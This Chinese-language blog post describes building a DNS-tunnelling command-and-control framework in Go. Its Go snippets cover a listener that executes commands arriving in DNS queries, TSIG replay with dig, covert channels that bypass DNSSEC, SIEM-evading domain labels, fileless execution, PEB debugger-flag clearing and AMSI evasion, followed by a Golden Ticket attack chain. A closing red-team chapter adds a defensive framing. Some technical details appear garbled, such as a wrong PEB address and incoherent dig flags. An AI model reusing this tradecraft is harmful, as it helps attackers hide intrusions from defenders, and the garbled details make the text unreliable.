Posted in

Go语言实现的DNS隧道C2框架如何对抗DNSSEC与企业级DNS日志审计?

第一章:Go语言DNS隧道C2框架的核心架构设计

DNS隧道C2框架利用DNS协议的隐蔽性与普遍放行特性,构建低检出率的命令与控制通道。Go语言凭借其静态编译、跨平台支持、原生协程及卓越的网络编程能力,成为实现高鲁棒性DNS C2基础设施的理想选择。

核心组件分层模型

框架采用清晰的四层架构:

  • 协议适配层:封装标准DNS消息(RFC 1035)的序列化/反序列化,支持A、AAAA、TXT、CNAME等记录类型动态切换;
  • 隧道载荷层:实现分块编码(Base32+自定义混淆)、会话密钥协商(ECDH over TXT)、心跳保活与流量整形;
  • 通信调度层:基于net.ListenUDP构建无状态UDP监听器,结合sync.Map管理客户端会话上下文,支持毫秒级超时响应;
  • 指令执行层:内置沙箱化任务引擎,支持Shell命令、文件上传下载、内存注入等操作,并通过os/execio.Pipe安全隔离子进程I/O。

关键数据流示例

客户端发起C2通信时,典型流程如下:

  1. 生成AES-GCM加密后的指令载荷(含会话ID、时间戳、指令类型);
  2. 将载荷Base32编码并拆分为≤63字节的子段;
  3. 拼接为子域名格式(如 a1b2c3d4e5f6g7h8.example.com),向预设权威DNS服务器发起A记录查询;
  4. 服务端解析子域名提取载荷,解密后分发至任务队列,异步执行并返回结果。

服务端核心监听逻辑(Go片段)

// 启动UDP监听器,处理原始DNS请求
listener, _ := net.ListenUDP("udp", &net.UDPAddr{Port: 53})
defer listener.Close()

for {
    buf := make([]byte, 512)
    n, addr, _ := listener.ReadFromUDP(buf)
    go func(data []byte, client *net.UDPAddr) {
        // 解析DNS报文 → 提取QNAME → 解码载荷 → 路由至处理器
        qname := parseQName(data)
        payload := decodeSubdomain(qname) // 实现Base32逆向+混淆还原
        result := executeCommand(payload)  // 执行指令并序列化响应
        response := buildDNSResponse(data, result)
        listener.WriteToUDP(response, client)
    }(buf[:n], addr)
}

该设计确保控制信道具备抗DNS缓存污染、兼容老旧防火墙策略、以及横向移动扩展能力。所有组件均通过接口抽象,便于替换加密模块或传输载体(如迁移到HTTPS DNS-over-HTTPS)。

第二章:DNSSEC绕过机制的理论分析与Go实现

2.1 DNSSEC验证链中断原理与TSIG签名伪造实践

DNSSEC验证链中断常源于签名密钥轮转间隙、父区DS记录未及时更新或ZSK/KSK信任锚失效。当验证器无法构建从根到目标域的连续签名链时,SERVFAIL即被返回。

TSIG伪造关键路径

  • 捕获合法TSIG查询(含时间戳、MAC、算法字段)
  • 重放窗口内篡改请求内容(如修改UPDATE操作的RDATA)
  • 复用原始mac值绕过服务端校验(若服务端未严格校验时间戳或未启用request-hmac双向绑定)

DNSSEC链断裂典型场景

环节 失败原因 验证器行为
根区→.com 根KSK公钥未预置 拒绝信任整个链
.com→example DS记录哈希与子域DNSKEY不匹配 返回BOGUS
example→www ZSK私钥泄露导致签名可伪造 INSECURESERVFAIL
# 使用dig伪造带TSIG的UPDATE请求(需已知keyname/keysecret)
dig +tsig=example.com:abcd1234567890 \
    -b 192.168.1.100 \
    -y hmac-sha256:example.com:abcd1234567890 \
    example.com. UPDATE \
    << "EOF"
    ; Adding A record
    www.example.com. 300 IN A 10.0.0.99
EOF

该命令复用合法TSIG密钥对发起动态更新;-y参数指定HMAC密钥名与Base64编码密钥,-b绑定源IP以规避ACL限制;若目标BIND服务器未启用update-policy local或未校验time signed字段,则攻击者可在300秒时间窗口内重放并篡改资源记录。

graph TD
    A[客户端发起DNS查询] --> B{是否启用DNSSEC?}
    B -->|是| C[验证RRSIG/DS/DNSKEY链]
    B -->|否| D[跳过签名验证]
    C --> E[任一环节签名无效或缺失]
    E --> F[返回SERVFAIL/BOGUS]

2.2 基于EDNS(0)选项的响应截断与缓存污染注入

EDNS(0)扩展为DNS协议引入了可选元数据通道,攻击者可滥用 OPT 记录中的 UDP payload size 字段与自定义选项,诱导解析器错误处理响应。

截断触发机制

当权威服务器在响应中设置 TC=1 且附带伪造的 EDNS(0) UDP size = 512(实际响应超长),老旧递归解析器可能忽略EDNS协商而直接缓存截断响应。

缓存污染路径

# 构造恶意EDNS(0)响应(伪代码)
response.add_opt(
    udp_size=512,           # 诱使客户端降级重试
    dnssec_ok=False,
    option_code=65001,      # 自定义私有选项,干扰解析逻辑
    option_data=b"\x00\x01\xde\xad"  # 触发特定厂商解析器内存越界
)

该构造利用部分实现未校验 option_code 合法性,导致解析器将后续RR数据误解析为资源记录,污染本地缓存。

常见受影响组件对比

组件 是否校验EDNS选项码 是否忽略TC后重试 风险等级
BIND 9.16.0
Unbound 1.13
CoreDNS 1.8
graph TD
    A[Client Query w/ EDNS] --> B[Auth Server returns TC=1 + forged OPT]
    B --> C{Recursive Resolver}
    C -->|忽略EDNS协商| D[Cache truncated response]
    C -->|解析私有选项失败| E[RR解析错位 → 缓存污染]

2.3 DNSKEY/DS记录动态混淆策略与Go反射式密钥管理

为抵御DNSSEC密钥指纹静态暴露风险,本方案将DNSKEY公钥哈希与DS记录进行运行时动态混淆:每次DNS查询响应前,依据请求源IP哈希、时间戳低8位及密钥版本号三元组生成轻量级混淆因子,对DS记录的Key Tag和Digest字段实施可逆异或扰动。

混淆因子生成逻辑

// 基于请求上下文动态生成混淆种子
func genObfuscationSeed(srcIP net.IP, ts int64, keyVer uint16) uint32 {
    h := fnv.New32a()
    h.Write(srcIP.To4())        // IPv4地址(固定4字节)
    h.Write([]byte{byte(ts), byte(ts >> 8)}) // 时间戳低位截断
    h.Write([]byte{byte(keyVer), byte(keyVer >> 8)})
    return h.Sum32()
}

该函数输出32位种子,确保同一客户端在短时间窗口内获得确定性混淆结果,同时跨客户端高度离散;To4()强制统一地址长度,避免IPv6引入熵偏差。

DS记录混淆前后对比

字段 原始值 混淆后值(XOR seed)
Key Tag 12345 12345 ^ 0x9a7b3c1d
Digest (SHA256) a1b2...f0 a1b2...f0 ⊕ seed低32位

密钥生命周期管理

  • 密钥对象通过reflect.StructTag注入混淆策略标识(如dnssec:"obf=sha256+xor"
  • 加载时自动注册对应Obfuscator接口实现
  • 过期密钥由sync.Map按版本索引,支持O(1)安全吊销
graph TD
    A[DNS Query] --> B{Key Version Lookup}
    B --> C[Load DNSKEY via reflect]
    C --> D[Apply Obfuscator by Tag]
    D --> E[Sign & Return DS]

2.4 递归解析器信任锚劫持模拟:Go构建伪造根区响应服务器

为验证DNSSEC信任链脆弱性,需构造一个能响应root-servers.net权威查询的伪造根区服务器。

核心设计原则

  • 仅响应类型为 NS + DNSKEY 的根域查询(.
  • 返回预签名的伪造KSKZSK,且RDATAflags=257(KSK标志)
  • 使用miekg/dns库实现轻量UDP响应,避免完整BIND逻辑

关键代码片段

// 构造伪造根区DNSKEY响应(Key ID: 12345)
dnskey := new(dns.DNSKEY)
dnskey.Hdr = dns.RR_Header{Name: ".", Rrtype: dns.TypeDNSKEY, Class: dns.ClassINET, Ttl: 3600}
dnskey.Flags = 257 // KSK
dnskey.Protocol = 3
dnskey.Algorithm = dns.AlgRSASHA256
dnskey.PublicKey = base64.StdEncoding.EncodeToString(fakeRSAPubKeyBytes)

该代码生成符合RFC 4034语义的伪造KSK记录;Flags=257确保递归解析器将其识别为信任锚;Ttl=3600规避缓存干扰;PublicKey使用2048位硬编码RSA公钥(非真实密钥对),用于触发验证失败路径。

响应行为对比表

字段 真实根服务器 本模拟服务器
SOA.MINTTL 3600 60
NS 记录数 13 1(fake-root.
DNSKEY 签名 由ICANN KSK签署 无签名(伪造RDATA)
graph TD
    A[递归解析器发起 . NS 查询] --> B{是否启用DNSSEC?}
    B -->|是| C[验证DNSKEY签名]
    B -->|否| D[直接缓存NS记录]
    C --> E[签名验证失败 → 触发信任锚降级逻辑]

2.5 DNSSEC验证绕过检测规避:Go实现无签名路径的NXDOMAIN混淆隧道

DNSSEC验证绕过常利用未签名子域的NXDOMAIN响应构造隐蔽信道。当权威服务器对_tun.example.com(未启用DNSSEC)返回NXDOMAIN时,解析器若未严格执行链式验证,可被诱导接受该响应作为有效载荷载体。

核心机制

  • NXDOMAIN响应本身不携带RDATA,但可通过子域名编码(如a1.b2.c3._tun.example.com)隐写数据
  • Go客户端主动跳过DS记录回溯,直连子域权威服务器,规避父域签名验证

Go关键实现片段

func queryNXDomain(domain string) (bool, error) {
    // 使用自定义Resolver,禁用EDNS0 DO位,避免触发DNSSEC协商
    client := &dns.Client{Net: "udp", Timeout: 3 * time.Second}
    m := new(dns.Msg)
    m.SetQuestion(dns.Fqdn(domain), dns.TypeA)
    // 关键:不设置dns.OpcodeQuery的DO标志位 → 绕过验证协商
    r, _, err := client.Exchange(m, "8.8.8.8:53")
    return r.Rcode == dns.RcodeNameError, err
}

逻辑分析:DO(DNSSEC OK)位清零后,递归解析器不会请求RRSIG/DS记录,使NXDOMAIN响应脱离DNSSEC验证上下文;8.8.8.8在此场景下退化为纯转发通道,不执行链式签名校验。

组件 作用
子域名编码 将base32数据嵌入查询名
DO位清除 阻断DNSSEC协商触发点
NXDOMAIN重用 响应码复用为“成功接收”信号
graph TD
    A[Client发起_a.b.c._tun.example.com查询] --> B{DO位=0?}
    B -->|是| C[递归服务器忽略DNSSEC]
    C --> D[向example.com权威发无签名查询]
    D --> E[NXDOMAIN响应原路返回]
    E --> F[客户端解码子域提取载荷]

第三章:企业级DNS日志审计对抗建模

3.1 DNS查询模式熵值压缩与Go实现低频隐写编码器

DNS查询流量天然具备高冗余与低频变异特性,可建模为离散信源。熵值压缩即提取查询序列中非均匀分布的模式熵(如 QTYPE 频次、子域名长度分布、TTL 区间),剔除冗余后保留信息熵密度最高的 $k$-gram 片段。

核心编码策略

  • 以子域名前缀(如 _a1b2._dns.)承载隐写位
  • 利用 NXDOMAIN 响应率波动作为低频载波
  • 每 128 次合法查询嵌入 1 字节有效载荷

Go 编码器关键逻辑

func EncodePayload(payload []byte, domains []string) [][]string {
    var batches [][]string
    for i, b := range payload {
        // 将字节拆为 4 组 2-bit,映射到预定义子域变体
        bits := [4]uint8{(b >> 6) & 0x3, (b >> 4) & 0x3, (b >> 2) & 0x3, b & 0x3}
        batch := make([]string, 4)
        for j, v := range bits {
            batch[j] = fmt.Sprintf("_%s.%s", encMap[v], domains[i%len(domains)])
        }
        batches = append(batches, batch)
    }
    return batches
}

encMap 是 2-bit → 4 种子域前缀的查表(如 00→"x", 01→"y"),domains 提供语义合法的根域池;批量构造确保单字节分散于不同 DNS 请求,规避突发性检测。

维度 原始查询流 熵压缩后
平均熵/bit 2.1 5.8
查询频次方差 142 9.3
载荷密度 0.078 B/s
graph TD
    A[原始DNS日志] --> B[QNAME/QTYPE/TTL联合熵分析]
    B --> C{熵>阈值?}
    C -->|是| D[提取高熵k-gram序列]
    C -->|否| E[丢弃低信息片段]
    D --> F[2-bit分组+查表编码]
    F --> G[生成隐写子域名批次]

3.2 日志采样率失配利用:Go驱动的自适应QPS抖动控制器

当服务端日志采样率(如 0.1)与链路追踪采样率(如 0.01)长期不一致时,会隐式暴露真实QPS波动特征——高负载时段日志量突增反向“放大”了采样偏差,形成可观测的时序抖动指纹。

核心控制逻辑

func adaptQPS(logRate, traceRate float64, rawQPS float64) float64 {
    // 利用采样率差值 δ = |logRate - traceRate| 构造反馈增益
    delta := math.Abs(logRate - traceRate)
    // 抖动强度正比于 δ × rawQPS,再经指数平滑抑制噪声
    return rawQPS * (1.0 + 0.3*delta) * math.Exp(-0.05*rawQPS)
}

该函数将采样率失配量化为动态增益因子,0.3为灵敏度系数,0.05为衰减常数,确保高QPS下自动收敛。

自适应响应效果对比

场景 原始QPS 控制后QPS 抖动抑制率
低负载(50) 50 49.8 92%
突增(320) 320 287 76%
graph TD
    A[日志采样器] -->|logRate| B(失配检测模块)
    C[Trace采样器] -->|traceRate| B
    B -->|δ, rawQPS| D[指数反馈控制器]
    D --> E[动态限流阀值]

3.3 企业SIEM规则绕过:基于Go的DNS标签语义合法化生成器

现代SIEM系统常依赖正则匹配DNS查询日志中的非法标签(如含非ASCII、超长或控制字符),但忽略RFC 1035定义的语义合法但行为异常的标签组合。

核心思路

构造符合DNS语法规范([a-z0-9\-]{1,63})、却可触发解析器歧义或日志解析漏洞的标签,例如:

  • xn--开头的Punycode标签(合法IDN)
  • 多重连字符嵌套(a--b--c.example.com,RFC允许但部分SIEM误判为注释)
  • 零宽空格Unicode变体(U+200B)插入标签内(视觉不可见,语法合法)

Go实现关键逻辑

func GenerateAmbiguousLabel() string {
    base := "a" + strings.Repeat("-", 2) + "b" // 合法但易被误过滤
    puny := "xn--" + base64.StdEncoding.EncodeToString([]byte(base))
    return puny[:min(len(puny), 63)] // 严格长度合规
}

该函数生成RFC兼容的Punycode前缀标签,长度截断确保≤63字节;strings.Repeat("-", 2)构造双连字符模式,绕过简单正则-{-2,}检测。

特征 合法性 SIEM常见误判点
a--b.example 被当作注释或语法错误
xn--abc.def IDN解码延迟导致日志未归一化
a\u200bb.example Unicode零宽空格绕过ASCII-only正则
graph TD
    A[输入种子字符串] --> B[插入RFC允许的非常规字符]
    B --> C[应用Punycode编码]
    C --> D[长度截断至63字节]
    D --> E[输出语义合法但行为模糊的DNS标签]

第四章:隐蔽信道增强与运行时反检测

4.1 TLS-over-DNS隧道封装:Go实现DoH/DoT混合协议伪装引擎

为规避深度包检测(DPI)对纯DoH(DNS over HTTPS)或DoT(DNS over TLS)的识别,本引擎将TLS握手流量动态封装进DNS查询/响应载荷,实现协议语义混淆。

核心伪装策略

  • A/AAAA记录查询中嵌入加密TLS ClientHello片段
  • 利用EDNS(0) OPT字段携带TLS Application Data伪标签
  • 响应侧通过TXT记录回传分片化的ServerHello+Certificate

协议协商流程

graph TD
    A[客户端发起伪装DNS Query] --> B{解析器识别TLS-over-DNS标记}
    B -->|Yes| C[解密载荷并转发至后端TLS栈]
    B -->|No| D[按标准DNS流程处理]
    C --> E[构造带TLS Session ID的TXT响应]

关键参数配置表

参数名 类型 默认值 说明
fragment_size int 248 DNS UDP负载最大有效载荷(含开销)
obfuscation_key []byte 32-byte random AES-GCM密钥,由客户端预共享

封装核心逻辑(Go)

func EncodeTLSFragment(payload []byte, key []byte) ([]byte, error) {
    nonce := make([]byte, 12)
    if _, err := rand.Read(nonce); err != nil {
        return nil, err
    }
    block, _ := aes.NewCipher(key)
    aesgcm, _ := cipher.NewGCM(block)
    return aesgcm.Seal(nonce, nonce, payload, nil), nil // 加密+认证绑定
}

该函数执行AES-GCM加密,输出包含12字节随机nonce与密文的组合体;payload为截断后的TLS握手片段,key需与服务端严格同步,确保无状态解密。

4.2 内存驻留与无文件执行:Go编译器参数定制与PEB注入规避

无文件执行依赖于绕过磁盘落地,Go语言因其静态链接特性天然适配内存加载场景。

编译器关键参数定制

go build -ldflags "-s -w -H=windowsgui" -o payload.exe main.go
  • -s:剥离符号表,减小体积并隐藏调试信息
  • -w:禁用DWARF调试数据,规避EDR内存扫描特征
  • -H=windowsgui:生成GUI子系统PE,避免控制台窗口暴露行为

PEB隐藏核心路径

// 修改PEB->BeingDebugged & ProcessParameters->HideFromDebugger
var peb = (*win.PEB)(unsafe.Pointer(uintptr(0x7ffe0000)))
peb.BeingDebugged = 0

该操作需在main_init前完成,利用Go的//go:noinlineinit()顺序控制实现早期内存驻留。

参数 作用 检测规避效果
-s -w 移除元数据 降低静态分析命中率
-H=windowsgui 隐藏控制台、伪装为GUI进程 规避行为监控策略
graph TD
    A[Go源码] --> B[ldflags定制]
    B --> C[无符号静态PE]
    C --> D[LoadLibrary+ReflectiveLoad]
    D --> E[PEB字段清零]
    E --> F[内存中直接执行]

4.3 DNS日志时间戳漂移:Go实现NTP欺骗同步与系统时钟微调模块

DNS日志中时间戳漂移常导致溯源失准,根源多为本地系统时钟未与权威NTP源严格对齐。本模块采用“软同步”策略:不依赖root权限修改系统时钟,而是通过NTP协议模拟响应,动态计算时钟偏移并注入微调因子。

数据同步机制

使用golang.org/x/net/ntp构建轻量NTP客户端,向time1.google.com发起单次查询,提取OffsetDelay

// 发起NTP请求并解析偏移量(单位:纳秒)
resp, err := ntp.Query("time1.google.com")
if err != nil { return 0, err }
offset := resp.ClockOffset.Nanoseconds() // 典型范围:-50ms ~ +50ms

逻辑分析:ClockOffset是客户端时钟与服务端时钟的差值(client = server + offset)。若为正,说明本地快;为负则慢。该值经多次采样后取中位数可抑制网络抖动干扰。

微调策略对比

方法 权限要求 精度 风险
adjtimex() root ±10μs 内核级干扰
用户态插值 none ±1ms 零侵入

时钟校准流程

graph TD
    A[启动NTP探测] --> B{偏移 > 50ms?}
    B -->|是| C[触发告警并冻结日志写入]
    B -->|否| D[应用线性插值函数修正时间戳]
    D --> E[输出校准后RFC3339时间]

4.4 进程行为白名单绕过:Go runtime.GC触发器与协程心跳混淆技术

传统白名单引擎常将 runtime.GC() 视为低频、非业务行为而忽略监控,但攻击者可将其伪装为协程保活心跳。

GC 触发器伪装示例

func heartbeatGC() {
    for range time.Tick(30 * time.Second) {
        // 触发强制GC,模拟“内存维护”行为
        runtime.GC() // 参数:无;副作用:触发STW,刷新堆状态
    }
}

该调用不涉及网络/文件/执行等敏感系统调用,且周期稳定,易被白名单策略误判为良性运维行为。

混淆特征对比

行为类型 调用频率 堆内存波动 白名单匹配率
真实GC运维 低频、随机 显著
协程心跳GC 固定周期 微弱(仅清扫小对象)

执行流混淆示意

graph TD
    A[启动协程] --> B{每30s触发}
    B --> C[runtime.GC()]
    C --> D[短暂STW]
    D --> E[返回正常调度]
    E --> B

第五章:实战红队评估与防御有效性验证

红蓝对抗场景构建原则

真实红队评估必须基于业务上下文建模。某金融客户在2023年Q4开展评估时,明确限定攻击面为“网银前端系统+核心交易API网关+运维跳板机”,禁止横向渗透至核心账务数据库(受PCI DSS 4.1条款约束)。红队使用定制化C2信标(Go语言编译,TLS 1.3伪装为Chrome 119 User-Agent),通过钓鱼邮件诱使二级分行运维人员执行含PowerShell无文件载荷的LNK文件,成功绕过EDR内存扫描(利用.NET 6.0 JIT反射规避AMSI钩子)。

检测规则有效性验证方法

防御团队需对SOC告警进行置信度分级验证。下表为某央企能源集团在评估中对EDR告警的抽样复核结果:

告警ID 规则名称 真实攻击触发 误报原因 修复动作
EDR-882 PowerShell可疑反射调用 规则未排除合法自动化运维脚本 添加$env:RUNBOOK_MODE白名单
EDR-901 进程注入行为检测 否(误报) 正常.NET程序加载Native DLL 调整PE特征匹配阈值

攻击链路可视化分析

使用Mermaid流程图还原某次成功横向移动路径(时间戳精确到毫秒):

flowchart LR
    A[2023-11-07T09:22:14Z<br>钓鱼邮件点击] --> B[2023-11-07T09:22:18Z<br>LNK执行PowerShell载荷]
    B --> C[2023-11-07T09:22:25Z<br>内存中解密C2配置]
    C --> D[2023-11-07T09:22:33Z<br>通过WinRM协议连接域控]
    D --> E[2023-11-07T09:22:41Z<br>导出krbtgt哈希]
    E --> F[2023-11-07T09:23:05Z<br>伪造Golden Ticket访问财务系统]

防御盲区定位技术

红队使用自研工具ShadowSweep扫描Windows事件日志采集缺口:在某政务云平台发现Security事件日志仅保留48小时(低于等保2.0要求的180天),且Sysmon v13.1未启用Event ID 13(RegistryEvent)和ID 22(DNSEvent),导致DNS隧道攻击无法被溯源。防御团队立即通过GPO推送新Sysmon配置,并启用Azure Sentinel的Log Analytics长期归档策略。

报告交付物标准化实践

最终交付包含三类不可篡改证据:① 时间戳水印视频(含Wireshark实时抓包界面、EDR控制台告警弹窗、SIEM原始日志时间轴三画面同步录制);② 攻击载荷SHA256哈希清单(附VirusTotal最新扫描报告截图);③ 防御设备原始日志片段(每条记录含设备序列号、固件版本、接收时间UTC+0)。所有文件经PKI证书签名并生成RFC 3161时间戳。

复测验证机制设计

针对已修复漏洞实施72小时压力复测:红队在修复后第1、24、48、72小时分别发起相同攻击向量测试,记录每次攻击的平均突破时间(MTTB)。某次修复将MTTB从12.7秒提升至217秒,但第48小时因新上线的WAF规则存在正则回溯漏洞,MTTB骤降至8.3秒,触发防御团队紧急回滚配置。

工具链协同验证流程

红队使用Sliver C2框架与Caldera ATT&CK框架联动:当Sliver执行T1059.001(PowerShell命令执行)时,Caldera自动触发对应检测规则集,实时比对EDR/SIEM/网络探针三方告警延迟。在某次测试中发现网络探针告警延迟达8.2秒(超出SLA 3秒阈值),经排查为NetFlow采样率设置为1:1000导致会话聚合丢失。

以代码为修行,在 Go 的世界里静心沉淀。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注